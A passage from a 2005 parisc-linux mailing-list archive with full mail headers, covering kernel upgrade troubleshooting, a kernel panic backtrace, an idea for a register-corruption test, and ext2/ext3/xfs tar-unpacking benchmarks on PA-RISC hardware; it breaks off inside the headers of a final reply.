On Mon, 17 Jan 2005, Steve Bromwich wrote:

> I just upgraded my 715/100XC to 2.6.10-pa10 from 2.4.27, and I've hit a
> few snags. First is I've lost serial console ("if this is the last message
> you see..."). I did make oldconfig from the 2.4.27 config, but I think
> I've fluffed it and missed the driver. Can someone see what I've missed in
> the attached config?

make oldconfig didn't transfer across the settings for serial console, for
some reason; CONFIG_SERIAL_8250_CONSOLE didn't get set (I'm assuming this
is the right one for my machine rather than CONFIG_SERIAL_MUX_CONSOLE).
I'm going to upgrade the kernel to the latest version rather than
recompile this one, and reboot it when I next open the case.

> Next, vmstat appears to fail with a segfault:

OK, this is a bit fiddly. Add the following to /etc/apt/sources.list:

deb-src http://www.backports.org/debian woody procps

Then apt-get source --compile procps. This will fail will an error from ld
before it completes creating the package. Copy
./debian/procps/lib/libproc-3.2.3.so to /lib and run ldconfig. Rename
/usr/bin/vmstat to /usr/bin/vmstat.old and copy vmstat to /usr/bin. Not
the ideal solution (debsums will complain, if you use it) but it works.

> brain:/var/adm# vmstat 1
> Unknown HZ value! (7) Assume 100.

I'm not sure about Unknown HZ. I happened to upgrade an x86 box with the
backported procps and got the same error.

> Finally (and it may not have been a great idea to do this at the same time
> as doing the kernel upgrade) I put in a DAT drive I acquired. This is
> failing when I try to write to it with the following error in dmesg:
>
> st0: Error with sense data: Info fld=0x14, Current st0: sense = f0  3
> ASC= c ASCQ= 0
> Raw sense data:0xf0 0x00 0x03 0x00 0x00 0x00 0x14 0x2c 0x00 0x00 0x00 0x00
> 0x0c 0x00 0x00 0x00 0x00 0x85 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0
> x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
> 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

This looks to be a problem with termination, from discussion with other
people. I'm going to crack the case in my CFT and check the jumpers on all
the drives to make sure.

Cheers, Steve
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] b2k 32bit 2.6.11-rc3-pa3 panic during the night :-(
Date: Tue, 8 Feb 2005 10:31:47 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <41DE4A3A0000AAB6@mail-1-bnl.tiscali.it>
References: <20050207034629.4CF9E4958E4@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623662 12647 80.91.229.3 (22 Nov 2014 02:34:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:22 +0000 (UTC)
Cc: willy@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Feb 2005 09:32:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 08 Feb 2005 10:32:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 337D67D65F;
	Tue,  8 Feb 2005 02:32:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10078-06; Tue, 8 Feb 2005 02:32:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D36C7D663;
	Tue,  8 Feb 2005 02:32:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 171647D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 02:32:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09843-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Feb 2005 02:32:10 -0700 (MST)
Original-Received: from mrq-1.tiscali.sys (unknown [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 59E4A7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Feb 2005 02:32:10 -0700 (MST)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrq-1.tiscali.sys with esmtp (Exim 4.43)
	id 1CyRim-0000rf-CN; Tue, 08 Feb 2005 10:31:52 +0100
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 8 Feb 2005 10:31:47 +0100
In-Reply-To: <20050207034629.4CF9E4958E4@palinux.hppa>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c+J6YqxneSE5+76WZHQhaXN2IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22327


> -- Original Message --
> To: parisc-linux-cvs@lists.parisc-linux.org
> Date: Sun,  6 Feb 2005 20:46:29 -0700 (MST)
> From: willy@parisc-linux.org (Matthew Wilcox)
> Reply-To: parisc-linux@lists.parisc-linux.org
> Subject: [parisc-linux-cvs] linux-2.6 willy
> 
> 
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	willy@cvs.parisc-linux.org	2005-02-06 20:46:29
> 
> Modified files:
> 	arch/parisc/kernel: irq.c 
> 
> Log message:
> 	Remove sufficiently obsolete DEBUG_IRQ code
> 	Remove limit on times around the loop.  If we exit the loop while
> 	interrupts are still pending, we'll only be re-interrupted as soon
> 	as we exit the function.
> 	Remove now-unnecessary slab.h include
> 
Hello pa,

I just got this text to fix the cvs update lvel I used as kernel.

I just got very  unsual panic on b2k runing a 32bit 2.6.11-rc3-pa3:
Backtrace:
 [<1014dda4>] cache_grow+0xd4/0x1ac
 [<1014e024>] cache_alloc_refill+0x1a8/0x26c
 [<1014e348>] kmem_cache_alloc+0x48/0x4c
 [<101828d8>] d_alloc+0x34/0x1cc
 [<10176d10>] real_lookup+0x104/0x178
 [<10177130>] do_lookup+0xb4/0xcc
 [<10177934>] link_path_walk+0x7ec/0xe78
 [<1017831c>] path_lookup+0xc0/0x1ec
 [<10178630>] __user_walk+0x5c/0x78
 [<10172974>] vfs_lstat+0x20/0x64
 [<10172e7c>] sys_lstat64+0x18/0x40
 [<1010d120>] syscall_exit+0x0/0x14


Kernel Fault: Code=3D15 regs=3D1913c600 (Addr=3D2c60c84c)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 104fb50c 1014dda4 104e78c8
r04-07  1c125000 10999a40 00000010 000000d0
r08-11  00000001 000423a8 00000001 000423a8
r12-15  00031590 00043808 000423c5 0000002f
r16-19  00030d90 00030d90 00031590 2c60c8c8
r20-23  2c60c83c 000051ae 00000294 000000d0
r24-27  104e783c 1c125000 10999a40 103ce010
r28-31  2c60c83c 00000210 1913c600 10150710
sr0-3   00000000 00000085 00000000 000019b0
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1014db30 1014db34
 IIR: 6b800020    ISR: 00000000  IOR: 2c60c84c
 CPU:        0   CR30: 1913c000 CR31: 10494000
 ORIG_R28: 00000000
 IAOQ[0]: alloc_slabmgmt+0x30/0x6c
 IAOQ[1]: alloc_slabmgmt+0x34/0x6c
 RP(r2): cache_grow+0xd4/0x1ac
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 120 seconds..

fwiw no pb on b180 with same kernel level and same unstable debian instal=
l?

Any idea or similar event on other model?

Thanks,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <iod00d@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch 2.6.11-rc3-bk4] Correctly dereference
	ia64_mca_data
Date: Wed, 9 Feb 2005 23:13:04 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20050210071304.GB26047@esmail.cup.hp.com>
References: <B8E391BBE9FE384DAA4C5C003888BE6F02E2BD9D@scsmsx401.amr.corp.intel.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623663 12650 80.91.229.3 (22 Nov 2014 02:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2005 07:12:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 10 Feb 2005 08:12:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B5807D675;
	Thu, 10 Feb 2005 00:12:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24660-05; Thu, 10 Feb 2005 00:12:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 778A37D66E;
	Thu, 10 Feb 2005 00:12:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB7BE7D66B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Feb 2005 00:12:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24591-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Feb 2005 00:12:07 -0700 (MST)
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by free.linux.hp.com (Postfix) with ESMTP id 4A8DD7D667
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 10 Feb 2005 00:12:07 -0700 (MST)
Original-Received: from esmail.cup.hp.com (esmail.cup.hp.com [15.0.65.164])
	by palrel12.hp.com (Postfix) with ESMTP id 4FD5140261C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  9 Feb 2005 23:11:48 -0800 (PST)
Original-Received: from localhost.localdomain (postfix@debian.cup.hp.com [15.244.57.47])
	by esmail.cup.hp.com (8.9.3 (PHNE_29774)/8.8.6) with ESMTP id XAA00359
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 9 Feb 2005 23:08:00 -0800 (PST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id E88DE8FBD4; Wed,  9 Feb 2005 23:13:04 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <B8E391BBE9FE384DAA4C5C003888BE6F02E2BD9D@scsmsx401.amr.corp.intel.com>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f3M+KuMGZDI4v7HGdWY2OGRxemhmY4Ga
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22328

On Wed, Feb 09, 2005 at 04:18:16PM -0800, Luck, Tony wrote:
> >Likely yes.
> >That's one of two errors I see on parisc-linux when a register
> >is corrupted (segfaults are the symptom). And unfortunately
> >the context switching has a corner case the tickles that bug
> >on a regular basis. :^(
> 
> I wrote a test program that loads up random values into registers
> (just r1-r31, a bunch of stacked registers, and f2-f127 for now)
> and then checks that all the registers haven't changed value a
> few thousand times, before reloading with a new set of random
> values.

Does anyone have an interest in writing such a program for parisc?

The above comes from the ia64-linux mailing list.

We can run multiple instances on one cpu to test
the basic context switching is working right.

If it fails consistently with the same register getting corrupted,
(gr26 is a suspect now), a code audit would be useful to confirm
that the particular register is always getting properly saved/restored
in a context switch.

If this test does NOT fail, then I'll suspect something with
our syscall/glibc interface is fishy.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 00:16:29 -0700
Lines: 200
Approved: news@gmane.org
Message-ID: <20050211071629.GA32318@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623663 12651 80.91.229.3 (22 Nov 2014 02:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 07:16:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx027) with SMTP; 11 Feb 2005 08:16:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343257D663;
	Fri, 11 Feb 2005 00:16:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30191-07; Fri, 11 Feb 2005 00:16:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A7C87D657;
	Fri, 11 Feb 2005 00:16:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 397AF7D655
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 00:16:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30191-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 00:16:14 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9C5D37D643
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 00:16:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id DC65529802F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 00:16:30 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01049-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Feb 2005 00:16:29 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 32B5A29802E; Fri, 11 Feb 2005 00:16:29 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5m0/dnJDTXs976yRbmQ5NzVKRzdyMkNC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22329

Hi all,
ext3 perf isn't so good on parisc.
I've posted profile data for kernel builds:

http://lists.parisc-linux.org/pipermail/parisc-linux/2004-November/025196.html

But not for "tar". I can't find the data I collect before. :^(
ISTR the culprit in ext3 was the bitmap search using atomic ops.
On parisc, atomic ops are terrible since it requires a spinlock/op/unlock
sequence.

I was asked about tar perf again and decided to post some results.
If someone tells me which wiki page to add this, I'll pound parts
of the data below into it.

In a nut shell, I timed unpacking the linux source tree:

FS 	real		user		sys
ext2	2m10.814s	0m53.424s	0m6.084s
ext3	3m46.577s	0m54.619s	1m34.553s
xfs	1m22.205s	0m53.952s	0m9.739s
md0+xfs	1m27.740s	0m54.550s	0m12.885s

User time is predominantly bzip2 running.

I didn't realize xfs can schedule work better than ext2 on a single disk.
Adding md striping adds ~6% overhead...that's not so good.
It's possible I need bigger chunks and that would go away.

I don't know if defaults are comparable between xfs and ext3.
Is one implementing more or better features by default than the other?

I'll be looking at mdadm+xfs for future file systems to see
if I can break it. Or I'll have to live without journaling on
"stable" build machines. The ext3 "tar" performance is just
unacceptable.

BTW, I get segfaults on the ext3 G

"raw" data follows.

grant

grundler@riot:~$ uname -a
Linux riot 2.6.11-rc3-pa3 #6 SMP Mon Feb 7 04:25:07 UTC 2005 parisc64 GNU/Linux

grundler@riot:~$ cat /proc/cpuinfo 
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 650.000000
model           : 9000/800/A500-6X
...
processor       : 1
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 650.000000
model           : 9000/800/A500-6X
model name      : Crescendo 650 W2
...


riot:/# lsscsi
[1:0:15:0]   disk    SEAGATE  ST336704LC       HP01  /dev/sda
[4:0:0:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdb
[4:0:1:0]    disk    SEAGATE  ST318451LC       HP01  /dev/sdc
[4:0:2:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdd
[4:0:3:0]    disk    SEAGATE  ST318451LC       HP01  /dev/sde
[4:0:8:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdf
[4:0:9:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdg
[4:0:10:0]   disk    SEAGATE  ST318451LC       HP00  /dev/sdh
[4:0:12:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sdi
[4:0:13:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sdj
[4:0:14:0]   enclosu HP       A5272A           HP04  -       
[5:0:0:0]    disk    SEAGATE  ST318451LC       HP01  /dev/sdk
[5:0:1:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdl
[5:0:2:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdm
[5:0:3:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdn
[5:0:8:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdo
[5:0:9:0]    disk    SEAGATE  ST318451LC       HP00  /dev/sdp
[5:0:10:0]   disk    SEAGATE  ST318451LC       HP00  /dev/sdq
[5:0:11:0]   disk    SEAGATE  ST318451LC       HP00  /dev/sdr
[5:0:12:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sds
[5:0:13:0]   disk    SEAGATE  ST318451LC       HP01  /dev/sdt
[5:0:14:0]   enclosu HP       A5272A           HP05  -       
riot:/# lspci -vt
-+-[30]-+-02.0  LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter
 |      \-02.1  LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter
 +-[20]---00.0  LSI Logic / Symbios Logic 53c1010 66MHz  Ultra3 SCSI Adapter
 +-[10]---00.0  Broadcom Corporation NetXtreme BCM5701 Gigabit Ethernet
 \-[00]-+-00.0  Digital Equipment Corporation DECchip 21142/43
        +-01.0  LSI Logic / Symbios Logic 53C896/897
        +-01.1  LSI Logic / Symbios Logic 53C896/897
        +-02.0  LSI Logic / Symbios Logic 53c875
        +-02.1  LSI Logic / Symbios Logic 53c875
        +-04.0  Hewlett-Packard Company: Unknown device 128d
        \-04.1  Hewlett-Packard Company Diva Serial [GSP] Multiport UART
...

# mkfs /dev/sdk
mke2fs 1.35 (28-Feb-2004)
/dev/sdk is entire device, not just one partition!
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
2223872 inodes, 4445810 blocks
222290 blocks (5.00%) reserved for the super user
First data block=0
136 block groups
32768 blocks per group, 32768 fragments per group
16352 inodes per group
...
riot:/mnt# time tar xjf linux-2.6.11-rc3-pa3.tar.bz2 

real    2m10.814s
user    0m53.424s
sys     0m6.084s
riot:/mnt#
...

riot:/# mke2fs -j /dev/sdk
mke2fs 1.35 (28-Feb-2004)
/dev/sdk is entire device, not just one partition!
Proceed anyway? (y,n) y
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
2223872 inodes, 4445810 blocks
222290 blocks (5.00%) reserved for the super user
First data block=0
136 block groups
32768 blocks per group, 32768 fragments per group
16352 inodes per group
...
riot:/# mount /dev/sdk /mnt
riot:/# cd /mnt
riot:/mnt# time tar xjf ~/linux-2.6.11-rc3-pa3.tar.bz2 

real    3m46.577s
user    0m54.619s
sys     1m34.553s
riot:/mnt# 

riot:/# mkfs -t xfs /dev/sdk
meta-data=/dev/sdk               isize=256    agcount=16, agsize=277863 blks
         =                       sectsz=512  
data     =                       bsize=4096   blocks=4445808, imaxpct=25
         =                       sunit=0      swidth=0 blks, unwritten=1
naming   =version 2              bsize=4096  
log      =internal log           bsize=4096   blocks=2560, version=1
         =                       sectsz=512   sunit=0 blks
realtime =none                   extsz=65536  blocks=0, rtextents=0

riot:/mnt# time tar xjf ~/linux-2.6.11-rc3-pa3.tar.bz2 

real    1m22.205s
user    0m53.952s
sys     0m9.739s


riot:/# mdadm -C /dev/md0 -l 0 -n 6 /dev/sdb /dev/sdk /dev/sdc /dev/sdl /dev/sdd /dev/sdm
...
riot:/# cat /proc/mdstat 
Personalities : [linear] [raid0] [raid1] 
md0 : active raid0 sdm[5] sdd[4] sdl[3] sdc[2] sdk[1] sdb[0]
      106699008 blocks 64k chunks
...
riot:/# mkfs -t xfs /dev/md0
meta-data=/dev/md0               isize=256    agcount=16, agsize=1667184 blks
         =                       sectsz=512  
data     =                       bsize=4096   blocks=26674752, imaxpct=25
         =                       sunit=16     swidth=96 blks, unwritten=1
naming   =version 2              bsize=4096  
log      =internal log           bsize=4096   blocks=13024, version=1
         =                       sectsz=512   sunit=0 blks
realtime =none                   extsz=393216 blocks=0, rtextents=0
riot:/# mount /dev/md0 /mnt
riot:/# cd /mnt
riot:/mnt# time tar xjf ~/linux-2.6.11-rc3-pa3.tar.bz2 

real    1m27.740s
user    0m54.550s
sys     0m12.885s

[ after running some kernel builds on the xfs file system ]
grundler@riot:/mnt$ time tar xjf /root/linux-2.6.11-rc3-pa3.tar.bz2 

real    2m35.000s
user    0m55.749s
sys     0m21.332s

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext2 vs ext3 on hppa
Date: Fri, 11 Feb 2005 16:54:15 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20050211165415.GF17242@parcelfarce.linux.theplanet.co.uk>
References: <20050211071629.GA32318@colo.lackof.org>
	<20050211165322.GA8835@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623663 12658 80.91.229.3 (22 Nov 2014 02:34:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2005 16:54:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx029) with SMTP; 11 Feb 2005 17:54:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3E817D66B;
	Fri, 11 Feb 2005 09:54:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
